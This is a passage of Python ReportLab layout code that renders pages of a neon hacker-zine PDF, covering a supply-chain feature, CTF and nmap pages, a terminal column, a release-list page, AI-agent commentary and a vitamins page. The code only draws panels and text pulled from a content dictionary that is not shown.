    top = y + h - 30
    left = x + 12

    # layered cells: each cell is (color, text) printed at column x offsets.
    # Rendered in row order from top of panel downwards.
    rows = [
        [(NEON_CYAN,  "~ ~~  ~ ~~~~   ~~  ~ ~~~  ~~~ ~  ~~~~   ~  ~~~   ~ ~~  ~~~~   ~ ~~  ~  ~~~~  ~ ")],
        [(TEXT_DIM,   "       o              .                 o                  .            o      ")],
        [(TEXT_DIM,   "   o       .      o         .      o              o                .           ")],
        [(NEON_PINK,  "                             ><(((('>                                           ")],
        [(TEXT,       "    ><(((('>                                     .            <`)))><           ")],
        [(NEON_YELLOW,"                    o             ><(((º>                                       ")],
        [(TEXT_DIM,   "                                                   .                  ><>       ")],
        [(NEON_GREEN, "   ){     (}    )}           ){       (}          ){      (}         ){     (}  ")],
        [(NEON_GREEN, "   ){     (}    )}           ){       (}          ){      (}         ){     (}  ")],
        [(NEON_GREEN, "    |      |     |            |        |           |       |          |      |  ")],
        [(TEXT_DIM,   "..............................................................................."),
         (NEON_YELLOW, "")],
    ]

    for i, cells in enumerate(rows):
        for col, txt in cells:
            if not txt:
                continue
            c.setFillColor(col)
            c.setFont(MONO, 8.5)
            c.drawString(left, top - i * line_h, txt)

    c.restoreState()


def draw_recipe_panel(c, t, y=60, h=170):
    """One real recipe from skills/recipes/ as a concrete example."""
    x = 25
    w = PAGE_W - 50
    c.saveState()
    c.setFillColor(BG_PANEL)
    c.rect(x, y, w, h, fill=1, stroke=0)
    c.setStrokeColor(NEON_CYAN)
    c.setStrokeAlpha(0.3)
    c.setLineWidth(0.4)
    c.rect(x, y, w, h, fill=0, stroke=1)
    c.setStrokeAlpha(1)

    pad = x + 12
    cur_y = y + h - 16

    c.setFillColor(NEON_YELLOW)
    c.setFont(MONO_BOLD, 10)
    c.drawString(pad, cur_y, t["ctf_recipe_header"])
    cur_y -= 6
    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.3)
    c.line(pad, cur_y, x + w - 12, cur_y)
    cur_y -= 12

    for color, text in t["ctf_recipe_lines"]:
        if text:
            c.setFillColor(color)
            sz = 7.5 if color == NEON_GREEN else 9
            c.setFont(MONO, sz)
            c.drawString(pad, cur_y, text)
        cur_y -= 10

    c.restoreState()


# ================= PAGES =================
def page_cover(c, t):
    fill_bg(c, BG_DARK)
    draw_grid(c, NEON_GREEN, spacing=14, alpha=0.06)
    draw_binary_rain(c, 0, 0, PAGE_W, PAGE_H, NEON_GREEN, alpha=0.10)

    c.setFillColor(NEON_PINK)
    c.setFillAlpha(0.15)
    for _ in range(6):
        yy = random.randint(100, int(PAGE_H) - 100)
        c.rect(0, yy, PAGE_W, random.randint(2, 8), fill=1, stroke=0)
    c.setFillAlpha(1)

    c.setFillColor(NEON_GREEN)
    c.setFont(MONO_BOLD, 9)
    c.drawString(25, PAGE_H - 35, t["issue_top_left"])
    c.drawRightString(PAGE_W - 25, PAGE_H - 35, t["issue_top_right"])

    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(0.4)
    c.line(25, PAGE_H - 42, PAGE_W - 25, PAGE_H - 42)

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 82)
    c.drawString(25, PAGE_H - 130, t["title_a"])
    c.setFillColor(NEON_GREEN)
    c.drawString(25, PAGE_H - 205, t["title_b"])

    c.setFillColor(NEON_PINK)
    c.setFillAlpha(0.45)
    c.drawString(28, PAGE_H - 208, t["title_b"])
    c.setFillAlpha(1)

    c.setFillColor(NEON_GREEN)
    c.rect(25, PAGE_H - 240, PAGE_W - 50, 22, fill=1, stroke=0)
    c.setFillColor(BG_DARK)
    c.setFont(MONO_BOLD, 11)
    c.drawString(35, PAGE_H - 234, t["tagline_l"])
    c.drawRightString(PAGE_W - 35, PAGE_H - 234, t["tagline_r"])

    y = PAGE_H - 290
    for num, title, col in t["cover_lines"]:
        c.setFillColor(col)
        c.setFont(MONO_BOLD, 14)
        c.drawString(30, y, f"[{num}]")
        c.setFillColor(TEXT)
        c.setFont(SANS_BOLD, 14)
        c.drawString(65, y, title)
        y -= 22

    draw_hex_dump(c, PAGE_W - 220, 60, 195, 180, NEON_GREEN, alpha=0.55)

    draw_skull(c, 30, 230, NEON_PINK, size=8)

    draw_barcode(c, 30, 60, w=180, h=30)
    c.setFont(MONO, 7)
    c.setFillColor(TEXT_DIM)
    c.drawString(30, 51, t["barcode_line"])

    c.setFont(MONO, 8)
    c.setFillColor(TEXT_DIM)
    c.drawRightString(PAGE_W - 25, 51, "https://planet-express.wtf")

    draw_scanlines(c, alpha=0.05)


def page_axios_1(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "FEATURE // SUPPLY CHAIN")

    c.setFillColor(NEON_CYAN)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["axios_kicker"])

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 42)
    c.drawString(25, PAGE_H - 95, t["axios_title_a"])
    c.setFillColor(NEON_CYAN)
    c.drawString(25, PAGE_H - 135, t["axios_title_b"])

    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 11.5)
    sub_lines = wrap_text(t["axios_sub"], PAGE_W - 50, SERIF_ITAL, 11.5, c)
    sy = PAGE_H - 155
    for line in sub_lines:
        c.drawString(25, sy, line)
        sy -= 14

    c.setStrokeColor(NEON_CYAN)
    c.setLineWidth(0.5)
    c.line(25, sy - 2, PAGE_W - 25, sy - 2)

    col_w = (PAGE_W - 70) / 2
    draw_body_text(c, t["axios_body_1"], 25, sy - 18, col_w,
                   font=SERIF, size=9.5, leading=13)

    # Right column: terminal mockup
    term_x = 25 + col_w + 20
    term_y = sy - 18
    term_w = col_w
    term_h = 240
    c.setFillColor(BG_PANEL)
    c.rect(term_x, term_y - term_h, term_w, term_h, fill=1, stroke=0)
    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(0.4)
    c.rect(term_x, term_y - term_h, term_w, term_h, fill=0, stroke=1)

    c.setFillColor(NEON_GREEN)
    c.setFont(MONO_BOLD, 8)
    c.drawString(term_x + 8, term_y - 14, t["axios_term_header"])
    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(0.2)
    c.line(term_x + 8, term_y - 18, term_x + term_w - 8, term_y - 18)

    ly = term_y - 32
    c.setFont(MONO, 8)
    for text, col in t["axios_term_lines"]:
        c.setFillColor(col)
        c.drawString(term_x + 10, ly, text)
        ly -= 11

    # Dependency-tree art below terminal
    art_y = term_y - term_h - 18
    draw_dependency_tree(c, term_x, art_y, term_w,
                         t["axios_art_lines"], t["axios_art_label"])

    # Timeline panel (full-width, bottom, transparent)
    tl_y = 40
    tl_h = 100

    c.setStrokeColor(NEON_RED)
    c.setLineWidth(0.4)
    c.line(40, tl_y + 40, PAGE_W - 40, tl_y + 40)

    step = (PAGE_W - 80) / (len(t["axios_timeline"]) - 1)
    for i, (year, evt, detail) in enumerate(t["axios_timeline"]):
        cx = 40 + i * step
        c.setFillColor(NEON_RED)
        c.circle(cx, tl_y + 40, 2.5, fill=1, stroke=0)
        c.setFillColor(NEON_CYAN)
        c.setFont(MONO_BOLD, 8)
        c.drawCentredString(cx, tl_y + 55, year)
        c.setFillColor(TEXT)
        c.setFont(SANS_BOLD, 7)
        c.drawCentredString(cx, tl_y + 28, evt)
        c.setFillColor(TEXT_DIM)
        c.setFont(MONO, 6)
        c.drawCentredString(cx, tl_y + 18, detail)

    draw_footer(c, page_num, "HOW THE SAUSAGE GETS MADE")


def page_axios_2(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "FEATURE // SUPPLY CHAIN")

    c.setFillColor(NEON_CYAN)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["axios_kicker"] + " // CONT.")

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 42)
    c.drawString(25, PAGE_H - 95, t["axios_flow_title"])

    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 11)
    sub_lines = wrap_text(t["axios_flow_sub"], PAGE_W - 50, SERIF_ITAL, 11, c)
    sy = PAGE_H - 120
    for line in sub_lines:
        c.drawString(25, sy, line)
        sy -= 14

    c.setStrokeColor(NEON_CYAN)
    c.setLineWidth(0.5)
    c.line(25, sy - 4, PAGE_W - 25, sy - 4)

    # Four stacked flow boxes
    box_x = 55
    box_w = PAGE_W - 2 * box_x
    box_h = 88
    gap = 24
    start_y = sy - 24

    for i, (num, title, line1, line2, color) in enumerate(t["axios_flow_steps"]):
        y = start_y - i * (box_h + gap)

        c.setFillColor(BG_PANEL)
        c.rect(box_x, y - box_h, box_w, box_h, fill=1, stroke=0)
        c.setStrokeColor(color)
        c.setLineWidth(0.7)
        c.rect(box_x, y - box_h, box_w, box_h, fill=0, stroke=1)

        c.setFillColor(color)
        c.setFont(MONO_BOLD, 28)
        c.drawString(box_x + 18, y - 42, num)

        c.setFillColor(TEXT)
        c.setFont(SANS_BOLD, 20)
        c.drawString(box_x + 95, y - 32, title)

        c.setFillColor(TEXT)
        c.setFont(MONO, 10)
        c.drawString(box_x + 95, y - 52, line1)
        c.setFillColor(TEXT_DIM)
        c.setFont(MONO, 9)
        c.drawString(box_x + 95, y - 68, line2)

        if i < len(t["axios_flow_steps"]) - 1:
            ax = box_x + box_w / 2
            ay1 = y - box_h - 2
            ay2 = y - box_h - gap + 6
            c.setStrokeColor(NEON_PINK)
            c.setLineWidth(1.2)
            c.line(ax, ay1, ax, ay2)
            c.setFillColor(NEON_PINK)
            p = c.beginPath()
            p.moveTo(ax, ay2 - 6)
            p.lineTo(ax - 4, ay2 + 2)
            p.lineTo(ax + 4, ay2 + 2)
            p.close()
            c.drawPath(p, fill=1, stroke=0)

    # Stats row near bottom
    stats_y = 75
    c.setStrokeColor(NEON_GREEN)
    c.setStrokeAlpha(0.3)
    c.setLineWidth(0.3)
    c.line(55, stats_y + 45, PAGE_W - 55, stats_y + 45)
    c.setStrokeAlpha(1)

    n = len(t["axios_flow_stats"])
    stat_w = (PAGE_W - 110) / n
    for i, (big, small) in enumerate(t["axios_flow_stats"]):
        sx = 55 + i * stat_w + stat_w / 2
        c.setFillColor(NEON_GREEN)
        c.setFont(SANS_BOLD, 26)
        c.drawCentredString(sx, stats_y + 18, big)
        c.setFillColor(TEXT_DIM)
        c.setFont(MONO, 8)
        c.drawCentredString(sx, stats_y + 5, small)

    draw_footer(c, page_num, "HOW IT RAN")


def page_ctf_1(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "FEATURE // CULTURE")

    c.setFillColor(NEON_PINK)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["ctf_kicker"])

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 42)
    c.drawString(25, PAGE_H - 95, t["ctf_title_a"])
    c.setFillColor(NEON_PINK)
    c.drawString(25, PAGE_H - 135, t["ctf_title_b"])

    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 11.5)
    sub_lines = wrap_text(t["ctf_sub"], PAGE_W - 50, SERIF_ITAL, 11.5, c)
    sy = PAGE_H - 155
    for line in sub_lines:
        c.drawString(25, sy, line)
        sy -= 14

    c.setStrokeColor(NEON_PINK)
    c.setLineWidth(0.5)
    c.line(25, sy - 2, PAGE_W - 25, sy - 2)

    col_w = (PAGE_W - 70) / 2
    draw_body_text(c, t["ctf_body_1"], 25, sy - 18, col_w,
                   font=SERIF, size=9.5, leading=13)

    # Right column: agent pool dashboard
    lb_x = 25 + col_w + 20
    lb_y = sy - 18
    lb_w = col_w
    lb_h = 260
    c.setFillColor(BG_PANEL)
    c.rect(lb_x, lb_y - lb_h, lb_w, lb_h, fill=1, stroke=0)

    c.setFillColor(NEON_YELLOW)
    c.setFont(MONO_BOLD, 10)
    c.drawString(lb_x + 10, lb_y - 16, t["ctf_pool_header"])
    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 8)
    c.drawString(lb_x + 10, lb_y - 28, t["ctf_pool_path"])
    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.3)
    c.line(lb_x + 10, lb_y - 34, lb_x + lb_w - 10, lb_y - 34)

    status_color = {
        "DONE": NEON_GREEN,
        "RUN":  NEON_CYAN,
        "FAIL": NEON_RED,
        "…":    TEXT_DIM,
    }

    yy = lb_y - 50
    for agent_id, slug, tm, status, xp in t["ctf_pool"]:
        c.setFillColor(TEXT_DIM)
        c.setFont(MONO, 8)
        c.drawString(lb_x + 10, yy, agent_id)
        c.setFillColor(TEXT)
        c.setFont(MONO_BOLD, 8.5)
        # truncate slug to fit
        max_slug = 16
        show_slug = slug if len(slug) <= max_slug else slug[:max_slug-1] + "…"
        c.drawString(lb_x + 62, yy, show_slug)
        c.setFillColor(TEXT_DIM)
        c.setFont(MONO, 8)
        c.drawString(lb_x + 165, yy, tm)
        col = status_color.get(status, TEXT_DIM)
        c.setFillColor(col)
        c.setFont(MONO_BOLD, 8)
        c.drawString(lb_x + 200, yy, status)
        if xp:
            c.setFillColor(NEON_GREEN)
            c.setFont(MONO, 8)
            c.drawString(lb_x + 228, yy, xp)
        yy -= 15

    # separator
    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.2)
    c.line(lb_x + 10, yy + 4, lb_x + lb_w - 10, yy + 4)

    # stats
    yy -= 8
    for label, val in t["ctf_pool_stats"]:
        c.setFillColor(TEXT_DIM)
        c.setFont(MONO, 8)
        c.drawString(lb_x + 10, yy, label)
        c.setFillColor(NEON_CYAN)
        c.setFont(MONO_BOLD, 8)
        c.drawRightString(lb_x + lb_w - 10, yy, val)
        yy -= 12

    # Spark-bar art below pool panel
    art_y = lb_y - lb_h - 20
    draw_sparkbars(c, lb_x, art_y, lb_w, 90,
                   n_bars=40, label=t["ctf_art_label"], seed=42)

    # Remaining body text in right column, below sparkbars
    tail_y = art_y - 90 - 18
    draw_body_text(c, t["ctf_tail"], lb_x, tail_y, lb_w,
                   font=SERIF, size=9.5, leading=13)

    draw_footer(c, page_num, "KNOW WHICH ONE YOU'RE DOING")


def page_ctf_2(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "FEATURE // CULTURE")

    c.setFillColor(NEON_PINK)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["skills_kicker"])

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 42)
    c.drawString(25, PAGE_H - 95, t["skills_title_a"])
    c.setFillColor(NEON_PINK)
    c.setFont(SANS_BOLD, 28)
    c.drawString(25, PAGE_H - 125, t["skills_title_b"])

    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 11.5)
    sub_lines = wrap_text(t["skills_sub"], PAGE_W - 50, SERIF_ITAL, 11.5, c)
    sy = PAGE_H - 148
    for line in sub_lines:
        c.drawString(25, sy, line)
        sy -= 14

    c.setStrokeColor(NEON_PINK)
    c.setLineWidth(0.5)
    c.line(25, sy - 2, PAGE_W - 25, sy - 2)

    col_w = (PAGE_W - 70) / 2
    draw_body_text(c, t["skills_body"], 25, sy - 18, col_w,
                   font=SERIF, size=9.5, leading=13)

    # Right column: recipe list panel
    lb_x = 25 + col_w + 20
    lb_y = sy - 18
    lb_w = col_w
    entries = t["skills_list"]
    lb_h = 48 + len(entries) * 14 + 18
    c.setFillColor(BG_PANEL)
    c.rect(lb_x, lb_y - lb_h, lb_w, lb_h, fill=1, stroke=0)

    c.setFillColor(NEON_YELLOW)
    c.setFont(MONO_BOLD, 10)
    c.drawString(lb_x + 10, lb_y - 16, t["skills_list_header"])
    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.3)
    c.line(lb_x + 10, lb_y - 24, lb_x + lb_w - 10, lb_y - 24)

    yy = lb_y - 40
    for name, marker in entries:
        c.setFillColor(TEXT)
        c.setFont(MONO, 8.5)
        c.drawString(lb_x + 10, yy, name)
        if marker:
            c.setFillColor(NEON_PINK)
            c.setFont(MONO_BOLD, 8.5)
            c.drawRightString(lb_x + lb_w - 10, yy, marker)
        yy -= 14

    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 8)
    c.drawRightString(lb_x + lb_w - 10, lb_y - lb_h + 8, t["skills_list_more"])

    draw_recipe_panel(c, t, y=200, h=155)
    draw_aquarium(c, t, y=35, h=150)

    draw_footer(c, page_num, "KNOW WHICH ONE YOU'RE DOING")


def page_nmap(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "TOOLING")

    c.setFillColor(NEON_YELLOW)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["nmap_kicker"])

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 46)
    c.drawString(25, PAGE_H - 95, t["nmap_title"])
    c.setFillColor(NEON_YELLOW)
    c.setFont(SANS_BOLD, 17)
    sub_lines = wrap_text(t["nmap_sub"], PAGE_W - 50, SANS_BOLD, 17, c)
    sy = PAGE_H - 118
    for line in sub_lines:
        c.drawString(25, sy, line)
        sy -= 20

    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.5)
    c.line(25, sy - 2, PAGE_W - 25, sy - 2)

    draw_body_text(c, t["nmap_body"], 25, sy - 18, PAGE_W - 270,
                   font=SERIF, size=10, leading=13.5)

    # Cheatsheet panel
    cx = PAGE_W - 230
    cy = sy - 18
    cw = 205
    ch = 335
    c.setFillColor(BG_PANEL)
    c.rect(cx, cy - ch, cw, ch, fill=1, stroke=0)

    c.setFillColor(NEON_YELLOW)
    c.setFont(MONO_BOLD, 10)
    c.drawString(cx + 10, cy - 15, t["nmap_cheats_header"])
    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.3)
    c.line(cx + 10, cy - 20, cx + cw - 10, cy - 20)

    yy = cy - 35
    for flag, desc in t["nmap_cheats"]:
        c.setFillColor(NEON_GREEN)
        c.setFont(MONO_BOLD, 9)
        c.drawString(cx + 12, yy, flag.ljust(12))
        c.setFillColor(TEXT)
        c.setFont(SANS, 9)
        c.drawString(cx + 80, yy, desc)
        yy -= 13

    # One-liner box
    ex_y = 80
    c.setFillColor(BG_PANEL)
    c.rect(25, ex_y, PAGE_W - 50, 90, fill=1, stroke=0)
    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(0.4)
    c.rect(25, ex_y, PAGE_W - 50, 90, fill=0, stroke=1)
    c.setFillColor(NEON_GREEN)
    c.setFont(MONO_BOLD, 9)
    c.drawString(35, ex_y + 75, t["nmap_oneliner_header"])
    c.setFillColor(NEON_CYAN)
    c.setFont(MONO_BOLD, 10)
    c.drawString(35, ex_y + 55, t["nmap_oneliner"])
    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 9)
    c.drawString(35, ex_y + 35, t["nmap_oneliner_t1"])
    c.drawString(35, ex_y + 22, t["nmap_oneliner_t2"])

    draw_footer(c, page_num, "FLASHLIGHT // NETWORK")


def page_terminal(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "COLUMN")

    c.setFillColor(NEON_GREEN)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["term_kicker"])

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 34)
    c.drawString(25, PAGE_H - 90, t["term_title_a"])
    c.setFillColor(NEON_GREEN)
    c.drawString(25, PAGE_H - 125, t["term_title_b"])

    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(0.5)
    c.line(25, PAGE_H - 133, PAGE_W - 25, PAGE_H - 133)

    yy = PAGE_H - 160
    for num, cmd, desc in t["term_tricks"]:
        c.setFillColor(NEON_PINK)
        c.setFont(MONO_BOLD, 16)
        c.drawString(25, yy, num)
        c.setFillColor(NEON_CYAN)
        c.setFont(MONO_BOLD, 13)
        c.drawString(65, yy, cmd)
        c.setFillColor(TEXT_DIM)
        c.setFont(SERIF, 9.5)
        for i, line in enumerate(desc.split("\n")):
            c.drawString(65, yy - 15 - i * 12, line.strip())
        yy -= 60

    draw_footer(c, page_num, "MUSCLE MEMORY")


def page_warez(c, t, page_num):
    # Different bg — darker with heavy green grid for warez vibes
    fill_bg(c, HexColor("#000000"))
    draw_grid(c, NEON_GREEN, spacing=8, alpha=0.12)

    c.setFillColor(NEON_GREEN)
    c.setFont(MONO_BOLD, 9)
    c.drawString(25, PAGE_H - 35, t["warez_kicker"])
    c.drawRightString(PAGE_W - 25, PAGE_H - 35, "// 04/2026")

    panel_x = 40
    panel_w = PAGE_W - 80

    # Top deco block bar
    c.saveState()
    c.setFillColor(NEON_GREEN)
    bw = 4
    for i in range(int(panel_w / (bw + 1))):
        hh = random.choice([4, 6, 8, 10, 8, 6, 4])
        c.rect(panel_x + i * (bw + 1), PAGE_H - 62 - hh, bw, hh, fill=1, stroke=0)
    c.restoreState()

    # Wordmark — now reads "nerial.uk/" so the title itself is the URL
    c.setFillColor(NEON_PINK)
    c.setFillAlpha(0.45)
    c.setFont(SANS_BOLD, 46)
    c.drawCentredString(PAGE_W / 2 + 3, PAGE_H - 112, t["warez_group"])
    c.setFillAlpha(1)
    c.setFillColor(NEON_GREEN)
    c.drawCentredString(PAGE_W / 2, PAGE_H - 110, t["warez_group"])

    # Sub — descriptive, no secrecy
    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 9.5)
    c.drawCentredString(PAGE_W / 2, PAGE_H - 130, t["warez_sub"])

    # Split releases in half, 8 above + 8 below the URL centerpiece
    releases = t["warez_releases"]
    half = len(releases) // 2
    upper, lower = releases[:half], releases[half:]
    line_h = 13

    def _draw_panel(top, items, header_text, right_tag):
        h = 24 + len(items) * line_h + 8
        bot = top - h
        c.setFillColor(BG_PANEL)
        c.rect(panel_x, bot, panel_w, h, fill=1, stroke=0)
        c.setStrokeColor(NEON_GREEN)
        c.setStrokeAlpha(0.35)
        c.setLineWidth(0.4)
        c.rect(panel_x, bot, panel_w, h, fill=0, stroke=1)
        c.setStrokeAlpha(1)
        c.setFillColor(NEON_GREEN)
        c.setFont(MONO_BOLD, 8)
        c.drawString(panel_x + 12, top - 15, header_text)
        c.drawRightString(panel_x + panel_w - 12, top - 15, right_tag)
        c.setStrokeColor(NEON_GREEN)
        c.setStrokeAlpha(0.25)
        c.setLineWidth(0.3)
        c.line(panel_x + 12, top - 22, panel_x + panel_w - 12, top - 22)
        c.setStrokeAlpha(1)
        c.setFont(MONO, 8)
        ry = top - 35
        tag_x = panel_x + panel_w - 90
        fmt_x = panel_x + panel_w - 14
        for idx, (name, tag, fmt) in enumerate(items):
            if idx % 2 == 1:
                c.setFillColor(HexColor("#0a0a0a"))
                c.rect(panel_x + 4, ry - 3, panel_w - 8, line_h, fill=1, stroke=0)
            c.setFillColor(TEXT)
            c.drawString(panel_x + 14, ry, name)
            c.setFillColor(NEON_PINK)
            c.drawString(tag_x, ry, tag)
            c.setFillColor(NEON_CYAN)
            c.drawRightString(fmt_x, ry, fmt)
            ry -= line_h
        return bot

    # Upper release panel
    up_top = PAGE_H - 155
    up_bot = _draw_panel(up_top, upper, t["warez_releases_header"], "// 18 · 2026-04")

    # URL centerpiece — the hero
    url_top = up_bot - 22
    url_h = 130
    url_bot = url_top - url_h

    c.setFillColor(BG_PANEL)
    c.rect(panel_x, url_bot, panel_w, url_h, fill=1, stroke=0)
    c.setStrokeColor(NEON_GREEN)
    c.setStrokeAlpha(0.75)
    c.setLineWidth(1.2)
    c.rect(panel_x, url_bot, panel_w, url_h, fill=0, stroke=1)
    c.setStrokeAlpha(1)

    # Corner ticks
    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(2.0)
    for (cx, cy) in [
        (panel_x, url_bot),
        (panel_x + panel_w, url_bot),
        (panel_x, url_bot + url_h),
        (panel_x + panel_w, url_bot + url_h),
    ]:
        c.line(cx - 8, cy, cx + 8, cy)
        c.line(cx, cy - 8, cx, cy + 8)

    # HUGE URL — the hero (fully qualified, so readers grok it's a URL)
    url_center_y = url_bot + url_h / 2 - 13
    c.setFillColor(NEON_PINK)
    c.setFillAlpha(0.35)
    c.setFont(SANS_BOLD, 36)
    c.drawCentredString(PAGE_W / 2 + 3, url_center_y - 2, t["warez_url"])
    c.setFillAlpha(1)
    c.setFillColor(NEON_GREEN)
    c.drawCentredString(PAGE_W / 2, url_center_y, t["warez_url"])

    # Lower release panel
    low_top = url_bot - 22
    low_bot = _draw_panel(low_top, lower, t["warez_releases_header"], "// cont.")

    # Bottom deco bar
    c.saveState()
    c.setFillColor(NEON_GREEN)
    for i in range(int(panel_w / (bw + 1))):
        hh = random.choice([4, 6, 8, 10, 8, 6, 4])
        c.rect(panel_x + i * (bw + 1), 50, bw, hh, fill=1, stroke=0)
    c.restoreState()

    # Page num corner
    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 7)
    c.drawRightString(PAGE_W - 15, 20, f"// PG {page_num:02d}")


def page_agent(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "COMMENTARY // CULTURE")

    # Kicker
    c.setFillColor(NEON_CYAN)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["agent_kicker"])

    # Title
    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 42)
    c.drawString(25, PAGE_H - 95, t["agent_title_a"])
    c.setFillColor(NEON_CYAN)
    c.drawString(25, PAGE_H - 135, t["agent_title_b"])

    # Subhead
    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 11.5)
    sub_lines = wrap_text(t["agent_sub"], PAGE_W - 50, SERIF_ITAL, 11.5, c)
    sy = PAGE_H - 155
    for line in sub_lines:
        c.drawString(25, sy, line)
        sy -= 14

    c.setStrokeColor(NEON_CYAN)
    c.setLineWidth(0.5)
    c.line(25, sy - 2, PAGE_W - 25, sy - 2)

    # Two-column body — no panels, just text
    col_w = (PAGE_W - 70) / 2
    body_top = sy - 18

    left_x = 25
    right_x = 25 + col_w + 20
    split_point = t["agent_body"].rfind("\n\n", 0, int(len(t["agent_body"]) * 0.55))
    if split_point < 0:
        split_point = len(t["agent_body"]) // 2
    body_l = t["agent_body"][:split_point].strip()
    body_r = t["agent_body"][split_point:].strip()

    draw_body_text(c, body_l, left_x, body_top, col_w,
                   font=SERIF, size=8.0, leading=11)
    draw_body_text(c, body_r, right_x, body_top, col_w,
                   font=SERIF, size=8.0, leading=11)

    draw_footer(c, page_num, "FLAGS WITHOUT HUMANS")


def page_vitamins(c, t, page_num):
    fill_bg(c, BG_DARK)
    draw_header_bar(c, page_num, "HEALTH")

    c.setFillColor(NEON_YELLOW)
    c.setFont(MONO_BOLD, 10)
    c.drawString(25, PAGE_H - 50, t["vit_kicker"])

    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 42)
    c.drawString(25, PAGE_H - 95, t["vit_title_a"])
    c.setFillColor(NEON_YELLOW)
    c.drawString(25, PAGE_H - 135, t["vit_title_b"])

    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 11.5)
    sub_lines = wrap_text(t["vit_sub"], PAGE_W - 50, SERIF_ITAL, 11.5, c)
    sy = PAGE_H - 155
    for line in sub_lines:
        c.drawString(25, sy, line)
        sy -= 14

    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.5)
    c.line(25, sy - 2, PAGE_W - 25, sy - 2)

    body_w = PAGE_W - 280
    draw_body_text(c, t["vit_body"], 25, sy - 18, body_w,
                   font=SERIF, size=9.5, leading=13)

    # rezept panel (top right)
    px = PAGE_W - 245
    py = sy - 18
    pw = 220
    ph = 130
    c.setFillColor(BG_PANEL)
    c.rect(px, py - ph, pw, ph, fill=1, stroke=0)

    c.setFillColor(NEON_YELLOW)
    c.setFont(MONO_BOLD, 10)
    c.drawString(px + 10, py - 15, t["vit_panel_header"])
    c.setStrokeColor(NEON_YELLOW)
    c.setLineWidth(0.3)
    c.line(px + 10, py - 20, px + pw - 10, py - 20)

    ly = py - 36
    for name, price in t["vit_panel_lines"]:
        c.setFillColor(TEXT)
        c.setFont(SANS, 9)
        c.drawString(px + 12, ly, name)
        c.setFillColor(NEON_GREEN)
        c.setFont(MONO_BOLD, 9)
        c.drawRightString(px + pw - 12, ly, price)
        ly -= 13

    c.setStrokeColor(NEON_YELLOW)
    c.setStrokeAlpha(0.3)
    c.line(px + 10, ly + 4, px + pw - 10, ly + 4)
    c.setStrokeAlpha(1)
    ly -= 6
    label, val = t["vit_panel_total"]
    c.setFillColor(TEXT_DIM)
    c.setFont(MONO_BOLD, 9)
    c.drawString(px + 12, ly, label)
    c.setFillColor(NEON_GREEN)
    c.drawRightString(px + pw - 12, ly, val)

    # depot plan panel (middle right)
    dy = py - ph - 18
    dh = 100
    c.setFillColor(BG_PANEL)
    c.rect(px, dy - dh, pw, dh, fill=1, stroke=0)
    c.setFillColor(NEON_CYAN)
    c.setFont(MONO_BOLD, 10)
    c.drawString(px + 10, dy - 15, t["vit_d3_header"])
    c.setStrokeColor(NEON_CYAN)
    c.setLineWidth(0.3)
    c.line(px + 10, dy - 20, px + pw - 10, dy - 20)

    dly = dy - 36
    for period, dose in t["vit_d3_lines"]:
        c.setFillColor(TEXT_DIM)
        c.setFont(MONO, 9)
        c.drawString(px + 12, dly, period)
        c.setFillColor(NEON_CYAN)
        c.setFont(MONO_BOLD, 9)
        c.drawRightString(px + pw - 12, dly, dose)
        dly -= 14

    dly -= 2
    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 7.5)
    for line in wrap_text(t["vit_d3_note"], pw - 20, SERIF_ITAL, 7.5, c):
        c.drawString(px + 12, dly, line)
        dly -= 10

    # diff panel (bottom right)
    ry = dy - dh - 18
    rh = 75
    c.setFillColor(BG_PANEL)
    c.rect(px, ry - rh, pw, rh, fill=1, stroke=0)
